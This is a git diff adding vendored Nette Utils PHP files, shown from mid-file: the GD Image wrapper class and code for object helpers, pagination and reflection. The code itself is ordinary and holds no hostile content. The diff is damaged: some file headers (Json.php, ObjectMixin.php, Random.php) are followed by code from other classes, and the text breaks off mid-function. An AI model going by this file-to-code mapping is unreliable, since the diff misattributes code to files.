@method array affineMatrixGet(int $type, mixed $options = null) + * @method void alphaBlending(bool $on) + * @method void antialias(bool $on) + * @method void arc($x, $y, $w, $h, $start, $end, $color) + * @method void char(int $font, $x, $y, string $char, $color) + * @method void charUp(int $font, $x, $y, string $char, $color) + * @method int colorAllocate($red, $green, $blue) + * @method int colorAllocateAlpha($red, $green, $blue, $alpha) + * @method int colorAt($x, $y) + * @method int colorClosest($red, $green, $blue) + * @method int colorClosestAlpha($red, $green, $blue, $alpha) + * @method int colorClosestHWB($red, $green, $blue) + * @method void colorDeallocate($color) + * @method int colorExact($red, $green, $blue) + * @method int colorExactAlpha($red, $green, $blue, $alpha) + * @method void colorMatch(Image $image2) + * @method int colorResolve($red, $green, $blue) + * @method int colorResolveAlpha($red, $green, $blue, $alpha) + * @method void colorSet($index, $red, $green, $blue) + * @method array colorsForIndex($index) + * @method int colorsTotal() + * @method int colorTransparent($color = null) + * @method void convolution(array $matrix, float $div, float $offset) + * @method void copy(Image $src, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH) + * @method void copyMerge(Image $src, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH, $opacity) + * @method void copyMergeGray(Image $src, $dstX, $dstY, $srcX, $srcY, $srcW, $srcH, $opacity) + * @method void copyResampled(Image $src, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH) + * @method void copyResized(Image $src, $dstX, $dstY, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH) + * @method Image cropAuto(int $mode = -1, float $threshold = .5, int $color = -1) + * @method void ellipse($cx, $cy, $w, $h, $color) + * @method void fill($x, $y, $color) + * @method void filledArc($cx, $cy, $w, $h, $s, $e, $color, $style) + * @method void filledEllipse($cx, $cy, $w, $h, $color) + * @method void filledPolygon(array $points, $numPoints, $color) + * @method void filledRectangle($x1, $y1, $x2, $y2, $color) + * @method void fillToBorder($x, $y, $border, $color) + * @method void filter($filtertype) + * @method void flip(int $mode) + * @method array ftText($size, $angle, $x, $y, $col, string $fontFile, string $text, array $extrainfo = null) + * @method void gammaCorrect(float $inputgamma, float $outputgamma) + * @method array getClip() + * @method int interlace($interlace = null) + * @method bool isTrueColor() + * @method void layerEffect($effect) + * @method void line($x1, $y1, $x2, $y2, $color) + * @method void openPolygon(array $points, int $num_points, int $color) + * @method void paletteCopy(Image $source) + * @method void paletteToTrueColor() + * @method void polygon(array $points, $numPoints, $color) + * @method array psText(string $text, $font, $size, $color, $backgroundColor, $x, $y, $space = null, $tightness = null, float $angle = null, $antialiasSteps = null) + * @method void rectangle($x1, $y1, $x2, $y2, $col) + * @method mixed resolution(int $res_x = null, int $res_y = null) + * @method Image rotate(float $angle, $backgroundColor) + * @method void saveAlpha(bool $saveflag) + * @method Image scale(int $newWidth, int $newHeight = -1, int $mode = IMG_BILINEAR_FIXED) + * @method void setBrush(Image $brush) + * @method void setClip(int $x1, int $y1, int $x2, int $y2) + * @method void setInterpolation(int $method = IMG_BILINEAR_FIXED) + * @method void setPixel($x, $y, $color) + * @method void setStyle(array $style) + * @method void setThickness($thickness) + * @method void setTile(Image $tile) + * @method void string($font, $x, $y, string $s, $col) + * @method void stringUp($font, $x, $y, string $s, $col) + * @method void trueColorToPalette(bool $dither, $ncolors) + * @method array ttfText($size, $angle, $x, $y, $color, string $fontfile, string $text) + * @property-read int $width + * @property-read int $height + * @property-read resource|\GdImage $imageResource + */ +class Image +{ + use Nette\SmartObject; + + /** {@link resize()} only shrinks images */ + public const SHRINK_ONLY = 0b0001; + + /** {@link resize()} will ignore aspect ratio */ + public const STRETCH = 0b0010; + + /** {@link resize()} fits in given area so its dimensions are less than or equal to the required dimensions */ + public const FIT = 0b0000; + + /** {@link resize()} fills given area so its dimensions are greater than or equal to the required dimensions */ + public const FILL = 0b0100; + + /** {@link resize()} fills given area exactly */ + public const EXACT = 0b1000; + + /** image types */ + public const + JPEG = IMAGETYPE_JPEG, + PNG = IMAGETYPE_PNG, + GIF = IMAGETYPE_GIF, + WEBP = IMAGETYPE_WEBP, + BMP = IMAGETYPE_BMP; + + public const EMPTY_GIF = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"; + + private const FORMATS = [self::JPEG => 'jpeg', self::PNG => 'png', self::GIF => 'gif', self::WEBP => 'webp', self::BMP => 'bmp']; + + /** @var resource|\GdImage */ + private $image; + + + /** + * Returns RGB color (0..255) and transparency (0..127). + */ + public static function rgb(int $red, int $green, int $blue, int $transparency = 0): array + { + return [ + 'red' => max(0, min(255, $red)), + 'green' => max(0, min(255, $green)), + 'blue' => max(0, min(255, $blue)), + 'alpha' => max(0, min(127, $transparency)), + ]; + } + + + /** + * Reads an image from a file and returns its type in $detectedFormat. Supported types are JPEG, PNG, GIF, WEBP and BMP. + * @throws Nette\NotSupportedException if gd extension is not loaded + * @throws UnknownImageFileException if file not found or file type is not known + * @return static + */ + public static function fromFile(string $file, int &$detectedFormat = null) + { + if (!extension_loaded('gd')) { + throw new Nette\NotSupportedException('PHP extension GD is not loaded.'); + } + + $detectedFormat = @getimagesize($file)[2]; // @ - files smaller than 12 bytes causes read error + if (!isset(self::FORMATS[$detectedFormat])) { + $detectedFormat = null; + throw new UnknownImageFileException(is_file($file) ? "Unknown type of file '$file'." : "File '$file' not found."); + } + return new static(Callback::invokeSafe('imagecreatefrom' . image_type_to_extension($detectedFormat, false), [$file], function (string $message): void { + throw new ImageException($message); + })); + } + + + /** + * Reads an image from a string and returns its type in $detectedFormat. Supported types are JPEG, PNG, GIF, WEBP and BMP. + * @return static + * @throws Nette\NotSupportedException if gd extension is not loaded + * @throws ImageException + */ + public static function fromString(string $s, int &$detectedFormat = null) + { + if (!extension_loaded('gd')) { + throw new Nette\NotSupportedException('PHP extension GD is not loaded.'); + } + + if (func_num_args() > 1) { + $tmp = @getimagesizefromstring($s)[2]; // @ - strings smaller than 12 bytes causes read error + $detectedFormat = isset(self::FORMATS[$tmp]) ? $tmp : null; + } + + return new static(Callback::invokeSafe('imagecreatefromstring', [$s], function (string $message): void { + throw new ImageException($message); + })); + } + + + /** + * Creates a new true color image of the given dimensions. The default color is black. + * @return static + * @throws Nette\NotSupportedException if gd extension is not loaded + */ + public static function fromBlank(int $width, int $height, array $color = null) + { + if (!extension_loaded('gd')) { + throw new Nette\NotSupportedException('PHP extension GD is not loaded.'); + } + + if ($width < 1 || $height < 1) { + throw new Nette\InvalidArgumentException('Image width and height must be greater than zero.'); + } + + $image = imagecreatetruecolor($width, $height); + if ($color) { + $color += ['alpha' => 0]; + $color = imagecolorresolvealpha($image, $color['red'], $color['green'], $color['blue'], $color['alpha']); + imagealphablending($image, false); + imagefilledrectangle($image, 0, 0, $width - 1, $height - 1, $color); + imagealphablending($image, true); + } + return new static($image); + } + + + /** + * Returns the file extension for the given `Image::XXX` constant. + */ + public static function typeToExtension(int $type): string + { + if (!isset(self::FORMATS[$type])) { + throw new Nette\InvalidArgumentException("Unsupported image type '$type'."); + } + return self::FORMATS[$type]; + } + + + /** + * Returns the mime type for the given `Image::XXX` constant. + */ + public static function typeToMimeType(int $type): string + { + return 'image/' . self::typeToExtension($type); + } + + + /** + * Wraps GD image. + * @param resource|\GdImage $image + */ + public function __construct($image) + { + $this->setImageResource($image); + imagesavealpha($image, true); + } + + + /** + * Returns image width. + */ + public function getWidth(): int + { + return imagesx($this->image); + } + + + /** + * Returns image height. + */ + public function getHeight(): int + { + return imagesy($this->image); + } + + + /** + * Sets image resource. + * @param resource|\GdImage $image + * @return static + */ + protected function setImageResource($image) + { + if (!$image instanceof \GdImage && !(is_resource($image) && get_resource_type($image) === 'gd')) { + throw new Nette\InvalidArgumentException('Image is not valid.'); + } + $this->image = $image; + return $this; + } + + + /** + * Returns image GD resource. + * @return resource|\GdImage + */ + public function getImageResource() + { + return $this->image; + } + + + /** + * Scales an image. + * @param int|string|null $width in pixels or percent + * @param int|string|null $height in pixels or percent + * @return static + */ + public function resize($width, $height, int $flags = self::FIT) + { + if ($flags & self::EXACT) { + return $this->resize($width, $height, self::FILL)->crop('50%', '50%', $width, $height); + } + + [$newWidth, $newHeight] = static::calculateSize($this->getWidth(), $this->getHeight(), $width, $height, $flags); + + if ($newWidth !== $this->getWidth() || $newHeight !== $this->getHeight()) { // resize + $newImage = static::fromBlank($newWidth, $newHeight, self::rgb(0, 0, 0, 127))->getImageResource(); + imagecopyresampled( + $newImage, $this->image, + 0, 0, 0, 0, + $newWidth, $newHeight, $this->getWidth(), $this->getHeight() + ); + $this->image = $newImage; + } + + if ($width < 0 || $height < 0) { + imageflip($this->image, $width < 0 ? ($height < 0 ? IMG_FLIP_BOTH : IMG_FLIP_HORIZONTAL) : IMG_FLIP_VERTICAL); + } + return $this; + } + + + /** + * Calculates dimensions of resized image. + * @param int|string|null $newWidth in pixels or percent + * @param int|string|null $newHeight in pixels or percent + */ + public static function calculateSize(int $srcWidth, int $srcHeight, $newWidth, $newHeight, int $flags = self::FIT): array + { + if ($newWidth === null) { + } elseif (self::isPercent($newWidth)) { + $newWidth = (int) round($srcWidth / 100 * abs($newWidth)); + $percents = true; + } else { + $newWidth = abs($newWidth); + } + + if ($newHeight === null) { + } elseif (self::isPercent($newHeight)) { + $newHeight = (int) round($srcHeight / 100 * abs($newHeight)); + $flags |= empty($percents) ? 0 : self::STRETCH; + } else { + $newHeight = abs($newHeight); + } + + if ($flags & self::STRETCH) { // non-proportional + if (!$newWidth || !$newHeight) { + throw new Nette\InvalidArgumentException('For stretching must be both width and height specified.'); + } + + if ($flags & self::SHRINK_ONLY) { + $newWidth = (int) round($srcWidth * min(1, $newWidth / $srcWidth)); + $newHeight = (int) round($srcHeight * min(1, $newHeight / $srcHeight)); + } + + } else { // proportional + if (!$newWidth && !$newHeight) { + throw new Nette\InvalidArgumentException('At least width or height must be specified.'); + } + + $scale = []; + if ($newWidth > 0) { // fit width + $scale[] = $newWidth / $srcWidth; + } + + if ($newHeight > 0) { // fit height + $scale[] = $newHeight / $srcHeight; + } + + if ($flags & self::FILL) { + $scale = [max($scale)]; + } + + if ($flags & self::SHRINK_ONLY) { + $scale[] = 1; + } + + $scale = min($scale); + $newWidth = (int) round($srcWidth * $scale); + $newHeight = (int) round($srcHeight * $scale); + } + + return [max($newWidth, 1), max($newHeight, 1)]; + } + + + /** + * Crops image. + * @param int|string $left in pixels or percent + * @param int|string $top in pixels or percent + * @param int|string $width in pixels or percent + * @param int|string $height in pixels or percent + * @return static + */ + public function crop($left, $top, $width, $height) + { + [$r['x'], $r['y'], $r['width'], $r['height']] + = static::calculateCutout($this->getWidth(), $this->getHeight(), $left, $top, $width, $height); + if (gd_info()['GD Version'] === 'bundled (2.1.0 compatible)') { + $this->image = imagecrop($this->image, $r); + imagesavealpha($this->image, true); + } else { + $newImage = static::fromBlank($r['width'], $r['height'], self::RGB(0, 0, 0, 127))->getImageResource(); + imagecopy($newImage, $this->image, 0, 0, $r['x'], $r['y'], $r['width'], $r['height']); + $this->image = $newImage; + } + return $this; + } + + + /** + * Calculates dimensions of cutout in image. + * @param int|string $left in pixels or percent + * @param int|string $top in pixels or percent + * @param int|string $newWidth in pixels or percent + * @param int|string $newHeight in pixels or percent + */ + public static function calculateCutout(int $srcWidth, int $srcHeight, $left, $top, $newWidth, $newHeight): array + { + if (self::isPercent($newWidth)) { + $newWidth = (int) round($srcWidth / 100 * $newWidth); + } + if (self::isPercent($newHeight)) { + $newHeight = (int) round($srcHeight / 100 * $newHeight); + } + if (self::isPercent($left)) { + $left = (int) round(($srcWidth - $newWidth) / 100 * $left); + } + if (self::isPercent($top)) { + $top = (int) round(($srcHeight - $newHeight) / 100 * $top); + } + if ($left < 0) { + $newWidth += $left; + $left = 0; + } + if ($top < 0) { + $newHeight += $top; + $top = 0; + } + $newWidth = min($newWidth, $srcWidth - $left); + $newHeight = min($newHeight, $srcHeight - $top); + return [$left, $top, $newWidth, $newHeight]; + } + + + /** + * Sharpens image a little bit. + * @return static + */ + public function sharpen() + { + imageconvolution($this->image, [ // my magic numbers ;) + [-1, -1, -1], + [-1, 24, -1], + [-1, -1, -1], + ], 16, 0); + return $this; + } + + + /** + * Puts another image into this image. + * @param int|string $left in pixels or percent + * @param int|string $top in pixels or percent + * @param int $opacity 0..100 + * @return static + */ + public function place(self $image, $left = 0, $top = 0, int $opacity = 100) + { + $opacity = max(0, min(100, $opacity)); + if ($opacity === 0) { + return $this; + } + + $width = $image->getWidth(); + $height = $image->getHeight(); + + if (self::isPercent($left)) { + $left = (int) round(($this->getWidth() - $width) / 100 * $left); + } + + if (self::isPercent($top)) { + $top = (int) round(($this->getHeight() - $height) / 100 * $top); + } + + $output = $input = $image->image; + if ($opacity < 100) { + $tbl = []; + for ($i = 0; $i < 128; $i++) { + $tbl[$i] = round(127 - (127 - $i) * $opacity / 100); + } + + $output = imagecreatetruecolor($width, $height); + imagealphablending($output, false); + if (!$image->isTrueColor()) { + $input = $output; + imagefilledrectangle($output, 0, 0, $width, $height, imagecolorallocatealpha($output, 0, 0, 0, 127)); + imagecopy($output, $image->image, 0, 0, 0, 0, $width, $height); + } + for ($x = 0; $x < $width; $x++) { + for ($y = 0; $y < $height; $y++) { + $c = \imagecolorat($input, $x, $y); + $c = ($c & 0xFFFFFF) + ($tbl[$c >> 24] << 24); + \imagesetpixel($output, $x, $y, $c); + } + } + imagealphablending($output, true); + } + + imagecopy( + $this->image, $output, + $left, $top, 0, 0, $width, $height + ); + return $this; + } + + + /** + * Saves image to the file. Quality is in the range 0..100 for JPEG (default 85) and WEBP (default 80) and 0..9 for PNG (default 9). + * @throws ImageException + */ + public function save(string $file, int $quality = null, int $type = null): void + { + if ($type === null) { + $extensions = array_flip(self::FORMATS) + ['jpg' => self::JPEG]; + $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); + if (!isset($extensions[$ext])) { + throw new Nette\InvalidArgumentException("Unsupported file extension '$ext'."); + } + $type = $extensions[$ext]; + } + + $this->output($type, $quality, $file); + } + + + /** + * Outputs image to string. Quality is in the range 0..100 for JPEG (default 85) and WEBP (default 80) and 0..9 for PNG (default 9). + */ + public function toString(int $type = self::JPEG, int $quality = null): string + { + return Helpers::capture(function () use ($type, $quality) { + $this->output($type, $quality); + }); + } + + + /** + * Outputs image to string. + */ + public function __toString(): string + { + try { + return $this->toString(); + } catch (\Throwable $e) { + if (func_num_args() || PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } + + + /** + * Outputs image to browser. Quality is in the range 0..100 for JPEG (default 85) and WEBP (default 80) and 0..9 for PNG (default 9). + * @throws ImageException + */ + public function send(int $type = self::JPEG, int $quality = null): void + { + header('Content-Type: ' . self::typeToMimeType($type)); + $this->output($type, $quality); + } + + + /** + * Outputs image to browser or file. + * @throws ImageException + */ + private function output(int $type, ?int $quality, string $file = null): void + { + switch ($type) { + case self::JPEG: + $quality = $quality === null ? 85 : max(0, min(100, $quality)); + $success = @imagejpeg($this->image, $file, $quality); // @ is escalated to exception + break; + + case self::PNG: + $quality = $quality === null ? 9 : max(0, min(9, $quality)); + $success = @imagepng($this->image, $file, $quality); // @ is escalated to exception + break; + + case self::GIF: + $success = @imagegif($this->image, $file); // @ is escalated to exception + break; + + case self::WEBP: + $quality = $quality === null ? 80 : max(0, min(100, $quality)); + $success = @imagewebp($this->image, $file, $quality); // @ is escalated to exception + break; + + case self::BMP: + $success = @imagebmp($this->image, $file); // @ is escalated to exception + break; + + default: + throw new Nette\InvalidArgumentException("Unsupported image type '$type'."); + } + if (!$success) { + throw new ImageException(Helpers::getLastError() ?: 'Unknown error'); + } + } + + + /** + * Call to undefined method. + * @return mixed + * @throws Nette\MemberAccessException + */ + public function __call(string $name, array $args) + { + $function = 'image' . $name; + if (!function_exists($function)) { + ObjectHelpers::strictCall(get_class($this), $name); + } + + foreach ($args as $key => $value) { + if ($value instanceof self) { + $args[$key] = $value->getImageResource(); + + } elseif (is_array($value) && isset($value['red'])) { // rgb + $args[$key] = imagecolorallocatealpha( + $this->image, + $value['red'], $value['green'], $value['blue'], $value['alpha'] + ) ?: imagecolorresolvealpha( + $this->image, + $value['red'], $value['green'], $value['blue'], $value['alpha'] + ); + } + } + $res = $function($this->image, ...$args); + return $res instanceof \GdImage || (is_resource($res) && get_resource_type($res) === 'gd') ? $this->setImageResource($res) : $res; + } + + + public function __clone() + { + ob_start(function () {}); + imagegd2($this->image); + $this->setImageResource(imagecreatefromstring(ob_get_clean())); + } + + + /** + * @param int|string $num in pixels or percent + */ + private static function isPercent(&$num): bool + { + if (is_string($num) && substr($num, -1) === '%') { + $num = (float) substr($num, 0, -1); + return true; + } elseif (is_int($num) || $num === (string) (int) $num) { + $num = (int) $num; + return false; + } + throw new Nette\InvalidArgumentException("Expected dimension in int|string, '$num' given."); + } + + + /** + * Prevents serialization. + */ + public function __sleep(): array + { + throw new Nette\NotSupportedException('You cannot serialize or unserialize ' . self::class . ' instances.'); + } +} diff --git a/vendor/nette/utils/src/Utils/Json.php b/vendor/nette/utils/src/Utils/Json.php new file mode 100644 index 0000000..782c1ff --- /dev/null +++ b/vendor/nette/utils/src/Utils/Json.php @@ -0,0 +1,64 @@ +getProperties(\ReflectionProperty::IS_PUBLIC), function ($p) { return !$p->isStatic(); }), + self::parseFullDoc($rc, '~^[ \t*]*@property(?:-read)?[ \t]+(?:\S+[ \t]+)??\$(\w+)~m') + ), $name); + throw new MemberAccessException("Cannot read an undeclared property $class::\$$name" . ($hint ? ", did you mean \$$hint?" : '.')); + } + + + /** @throws MemberAccessException */ + public static function strictSet(string $class, string $name): void + { + $rc = new \ReflectionClass($class); + $hint = self::getSuggestion(array_merge( + array_filter($rc->getProperties(\ReflectionProperty::IS_PUBLIC), function ($p) { return !$p->isStatic(); }), + self::parseFullDoc($rc, '~^[ \t*]*@property(?:-write)?[ \t]+(?:\S+[ \t]+)??\$(\w+)~m') + ), $name); + throw new MemberAccessException("Cannot write to an undeclared property $class::\$$name" . ($hint ? ", did you mean \$$hint?" : '.')); + } + + + /** @throws MemberAccessException */ + public static function strictCall(string $class, string $method, array $additionalMethods = []): void + { + $hint = self::getSuggestion(array_merge( + get_class_methods($class), + self::parseFullDoc(new \ReflectionClass($class), '~^[ \t*]*@method[ \t]+(?:\S+[ \t]+)??(\w+)\(~m'), + $additionalMethods + ), $method); + + if (method_exists($class, $method)) { // called parent::$method() + $class = 'parent'; + } + throw new MemberAccessException("Call to undefined method $class::$method()" . ($hint ? ", did you mean $hint()?" : '.')); + } + + + /** @throws MemberAccessException */ + public static function strictStaticCall(string $class, string $method): void + { + $hint = self::getSuggestion( + array_filter((new \ReflectionClass($class))->getMethods(\ReflectionMethod::IS_PUBLIC), function ($m) { return $m->isStatic(); }), + $method + ); + throw new MemberAccessException("Call to undefined static method $class::$method()" . ($hint ? ", did you mean $hint()?" : '.')); + } + + + /** + * Returns array of magic properties defined by annotation @property. + * @return array of [name => bit mask] + * @internal + */ + public static function getMagicProperties(string $class): array + { + static $cache; + $props = &$cache[$class]; + if ($props !== null) { + return $props; + } + + $rc = new \ReflectionClass($class); + preg_match_all( + '~^ [ \t*]* @property(|-read|-write) [ \t]+ [^\s$]+ [ \t]+ \$ (\w+) ()~mx', + (string) $rc->getDocComment(), $matches, PREG_SET_ORDER + ); + + $props = []; + foreach ($matches as [, $type, $name]) { + $uname = ucfirst($name); + $write = $type !== '-read' + && $rc->hasMethod($nm = 'set' . $uname) + && ($rm = $rc->getMethod($nm))->name === $nm && !$rm->isPrivate() && !$rm->isStatic(); + $read = $type !== '-write' + && ($rc->hasMethod($nm = 'get' . $uname) || $rc->hasMethod($nm = 'is' . $uname)) + && ($rm = $rc->getMethod($nm))->name === $nm && !$rm->isPrivate() && !$rm->isStatic(); + + if ($read || $write) { + $props[$name] = $read << 0 | ($nm[0] === 'g') << 1 | $rm->returnsReference() << 2 | $write << 3; + } + } + + foreach ($rc->getTraits() as $trait) { + $props += self::getMagicProperties($trait->name); + } + + if ($parent = get_parent_class($class)) { + $props += self::getMagicProperties($parent); + } + return $props; + } + + + /** + * Finds the best suggestion (for 8-bit encoding). + * @param (\ReflectionFunctionAbstract|\ReflectionParameter|\ReflectionClass|\ReflectionProperty|string)[] $possibilities + * @internal + */ + public static function getSuggestion(array $possibilities, string $value): ?string + { + $norm = preg_replace($re = '#^(get|set|has|is|add)(?=[A-Z])#', '+', $value); + $best = null; + $min = (strlen($value) / 4 + 1) * 10 + .1; + foreach (array_unique($possibilities, SORT_REGULAR) as $item) { + $item = $item instanceof \Reflector ? $item->name : $item; + if ($item !== $value && ( + ($len = levenshtein($item, $value, 10, 11, 10)) < $min + || ($len = levenshtein(preg_replace($re, '*', $item), $norm, 10, 11, 10)) < $min + )) { + $min = $len; + $best = $item; + } + } + return $best; + } + + + private static function parseFullDoc(\ReflectionClass $rc, string $pattern): array + { + do { + $doc[] = $rc->getDocComment(); + $traits = $rc->getTraits(); + while ($trait = array_pop($traits)) { + $doc[] = $trait->getDocComment(); + $traits += $trait->getTraits(); + } + } while ($rc = $rc->getParentClass()); + return preg_match_all($pattern, implode($doc), $m) ? $m[1] : []; + } + + + /** + * Checks if the public non-static property exists. + * @return bool|string returns 'event' if the property exists and has event like name + * @internal + */ + public static function hasProperty(string $class, string $name) + { + static $cache; + $prop = &$cache[$class][$name]; + if ($prop === null) { + $prop = false; + try { + $rp = new \ReflectionProperty($class, $name); + if ($rp->isPublic() && !$rp->isStatic()) { + $prop = $name >= 'onA' && $name < 'on_' ? 'event' : true; + } + } catch (\ReflectionException $e) { + } + } + return $prop; + } +} diff --git a/vendor/nette/utils/src/Utils/ObjectMixin.php b/vendor/nette/utils/src/Utils/ObjectMixin.php new file mode 100644 index 0000000..3324950 --- /dev/null +++ b/vendor/nette/utils/src/Utils/ObjectMixin.php @@ -0,0 +1,41 @@ +page = $page; + return $this; + } + + + /** + * Returns current page number. + */ + public function getPage(): int + { + return $this->base + $this->getPageIndex(); + } + + + /** + * Returns first page number. + */ + public function getFirstPage(): int + { + return $this->base; + } + + + /** + * Returns last page number. + */ + public function getLastPage(): ?int + { + return $this->itemCount === null ? null : $this->base + max(0, $this->getPageCount() - 1); + } + + + /** + * Sets first page (base) number. + * @return static + */ + public function setBase(int $base) + { + $this->base = $base; + return $this; + } + + + /** + * Returns first page (base) number. + */ + public function getBase(): int + { + return $this->base; + } + + + /** + * Returns zero-based page number. + */ + protected function getPageIndex(): int + { + $index = max(0, $this->page - $this->base); + return $this->itemCount === null ? $index : min($index, max(0, $this->getPageCount() - 1)); + } + + + /** + * Is the current page the first one? + */ + public function isFirst(): bool + { + return $this->getPageIndex() === 0; + } + + + /** + * Is the current page the last one? + */ + public function isLast(): bool + { + return $this->itemCount === null ? false : $this->getPageIndex() >= $this->getPageCount() - 1; + } + + + /** + * Returns the total number of pages. + */ + public function getPageCount(): ?int + { + return $this->itemCount === null ? null : (int) ceil($this->itemCount / $this->itemsPerPage); + } + + + /** + * Sets the number of items to display on a single page. + * @return static + */ + public function setItemsPerPage(int $itemsPerPage) + { + $this->itemsPerPage = max(1, $itemsPerPage); + return $this; + } + + + /** + * Returns the number of items to display on a single page. + */ + public function getItemsPerPage(): int + { + return $this->itemsPerPage; + } + + + /** + * Sets the total number of items. + * @return static + */ + public function setItemCount(int $itemCount = null) + { + $this->itemCount = $itemCount === null ? null : max(0, $itemCount); + return $this; + } + + + /** + * Returns the total number of items. + */ + public function getItemCount(): ?int + { + return $this->itemCount; + } + + + /** + * Returns the absolute index of the first item on current page. + */ + public function getOffset(): int + { + return $this->getPageIndex() * $this->itemsPerPage; + } + + + /** + * Returns the absolute index of the first item on current page in countdown paging. + */ + public function getCountdownOffset(): ?int + { + return $this->itemCount === null + ? null + : max(0, $this->itemCount - ($this->getPageIndex() + 1) * $this->itemsPerPage); + } + + + /** + * Returns the number of items on current page. + */ + public function getLength(): int + { + return $this->itemCount === null + ? $this->itemsPerPage + : min($this->itemsPerPage, $this->itemCount - $this->getPageIndex() * $this->itemsPerPage); + } +} diff --git a/vendor/nette/utils/src/Utils/Random.php b/vendor/nette/utils/src/Utils/Random.php new file mode 100644 index 0000000..2403b4d --- /dev/null +++ b/vendor/nette/utils/src/Utils/Random.php @@ -0,0 +1,45 @@ + 1, 'int' => 1, 'float' => 1, 'bool' => 1, 'array' => 1, 'object' => 1, + 'callable' => 1, 'iterable' => 1, 'void' => 1, 'null' => 1, 'mixed' => 1, 'false' => 1, + ]; + + + /** + * Determines if type is PHP built-in type. Otherwise, it is the class name. + */ + public static function isBuiltinType(string $type): bool + { + return isset(self::BUILTIN_TYPES[strtolower($type)]); + } + + + /** + * Returns the type of return value of given function or method and normalizes `self`, `static`, and `parent` to actual class names. + * If the function does not have a return type, it returns null. + */ + public static function getReturnType(\ReflectionFunctionAbstract $func): ?string + { + $type = $func->getReturnType(); + return $type instanceof \ReflectionNamedType + ? ($func instanceof \ReflectionMethod ? self::normalizeType($type->getName(), $func) : $type->getName()) + : null; + } + + + /** + * Returns the type of given parameter and normalizes `self` and `parent` to the actual class names. + * If the parameter does not have a type, it returns null. + */ + public static function getParameterType(\ReflectionParameter $param): ?string + { + $type = $param->getType(); + return $type instanceof \ReflectionNamedType + ? self::normalizeType($type->getName(), $param) + : null; + } + + + /** + * Returns the type of given property and normalizes `self` and `parent` to the actual class names. + * If the property does not have a type, it returns null. + */ + public static function getPropertyType(\ReflectionProperty $prop): ?string + { + $type = PHP_VERSION_ID >= 70400 ? $prop->getType() : null; + return $type instanceof \ReflectionNamedType + ? self::normalizeType($type->getName(), $prop) + : null; + } + + + /** + * @param \ReflectionMethod|\ReflectionParameter|\ReflectionProperty $reflection + */ + private static function normalizeType(string $type, $reflection): string + { + $lower = strtolower($type); + if ($lower === 'self' || $lower === 'static') { + return $reflection->getDeclaringClass()->name; + } elseif ($lower === 'parent' && $reflection->getDeclaringClass()->getParentClass()) { + return $reflection->getDeclaringClass()->getParentClass()->name; + } else { + return $type; + } + } + + + /** + * Returns the default value of parameter. If it is a constant, it returns its value. + * @return mixed + * @throws \ReflectionException If the parameter does not have a default value or the constant cannot be resolved + */ + public static function getParameterDefaultValue(\ReflectionParameter $param) + { + if ($param->isDefaultValueConstant()) { + $const = $orig = $param->getDefaultValueConstantName(); + $pair = explode('::', $const); + if (isset($pair[1])) { + $pair[0] = self::normalizeType($pair[0], $param); + try { + $rcc = new \ReflectionClassConstant($pair[0], $pair[1]); + } catch (\ReflectionException $e) { + $name = self::toString($param); + throw new \ReflectionException("Unable to resolve constant $orig used as default value of $name.", 0, $e); + } + return $rcc->getValue(); + + } elseif (!defined($const)) { + $const = substr((string) strrchr($const, '\\'), 1); + if (!defined($const)) { + $name = self::toString($param); + throw new \ReflectionException("Unable to resolve constant $orig used as default value of $name."); + } + } + return constant($const); + } + return $param->getDefaultValue(); + } + + + /** + * Returns a reflection of a class or trait that contains a declaration of given property. Property can also be declared in the trait. + */ + public static function getPropertyDeclaringClass(\ReflectionProperty $prop): \ReflectionClass + { + foreach ($prop->getDeclaringClass()->getTraits() as $trait) { + if ($trait->hasProperty($prop->name) + // doc-comment guessing as workaround for insufficient PHP reflection + && $trait->getProperty($prop->name)->getDocComment() === $prop->getDocComment() + ) { + return self::getPropertyDeclaringClass($trait->getProperty($prop->name)); + } + } + return $prop->getDeclaringClass(); + } + + + /** + * Returns a reflection of a method that contains a declaration of $method. + * Usually, each method is its own declaration, but the body of the method can also be in the trait and under a different name. + */ + public static function getMethodDeclaringMethod(\ReflectionMethod $method): \ReflectionMethod + { + // file & line guessing as workaround for insufficient PHP reflection + $decl = $method->getDeclaringClass(); + if ($decl->getFileName() === $method->getFileName() + && $decl->getStartLine() <= $method->getStartLine() + && $decl->getEndLine() >= $method->getEndLine() + ) { + return $method; + } + + $hash = [$method->getFileName(), $method->getStartLine(), $method->getEndLine()]; + if (($alias = $decl->getTraitAliases()[$method->name] ?? null) + && ($m = new \ReflectionMethod($alias)) + && $hash === [$m->getFileName(), $m->getStartLine(), $m->getEndLine()] + ) { + return self::getMethodDeclaringMethod($m); + } + + foreach ($decl->getTraits() as $trait) { + if ($trait->hasMethod($method->name) + && ($m = $trait->getMethod($method->name)) + && $hash === [$m->getFileName(), $m->getStartLine(), $m->getEndLine()] + ) { + return self::getMethodDeclaringMethod($m); + } + } + return $method; + } + + + /** + * Finds out if reflection has access to PHPdoc comments. Comments may not be available due to the opcode cache. + */ + public static function areCommentsAvailable(): bool + { + static $res; + return $res === null + ? $res = (bool) (new \ReflectionMethod(__METHOD__))->getDocComment() + : $res; + } + + + public static function toString(\Reflector $ref): string + { + if ($ref instanceof \ReflectionClass) { + return $ref->name; + } elseif ($ref instanceof \ReflectionMethod) { + return $ref->getDeclaringClass()->name . '::' . $ref->name; + } elseif ($ref instanceof \ReflectionFunction) { + return $ref->name; + } elseif ($ref instanceof \ReflectionProperty) { + return self::getPropertyDeclaringClass($ref)->name . '::$' . $ref->name; + } elseif ($ref instanceof \ReflectionParameter) { + return '$' . $ref->name . ' in ' . self::toString($ref->getDeclaringFunction()) . '()'; + } else { + throw new Nette\InvalidArgumentException; + } + } + + + /** + * Expands the name of the class to full name in the given context of given class. + * Thus, it returns how the PHP parser would understand $name if it were written in the body of the class $context. + * @throws Nette\InvalidArgumentException + */ + public static function expandClassName(string $name, \ReflectionClass $context): string + { + $lower = strtolower($name); + if (empty($name)) { + throw new Nette\InvalidArgumentException('Class name must not be empty.'); + + } elseif (isset(self::BUILTIN_TYPES[$lower])) { + return $lower; + + } 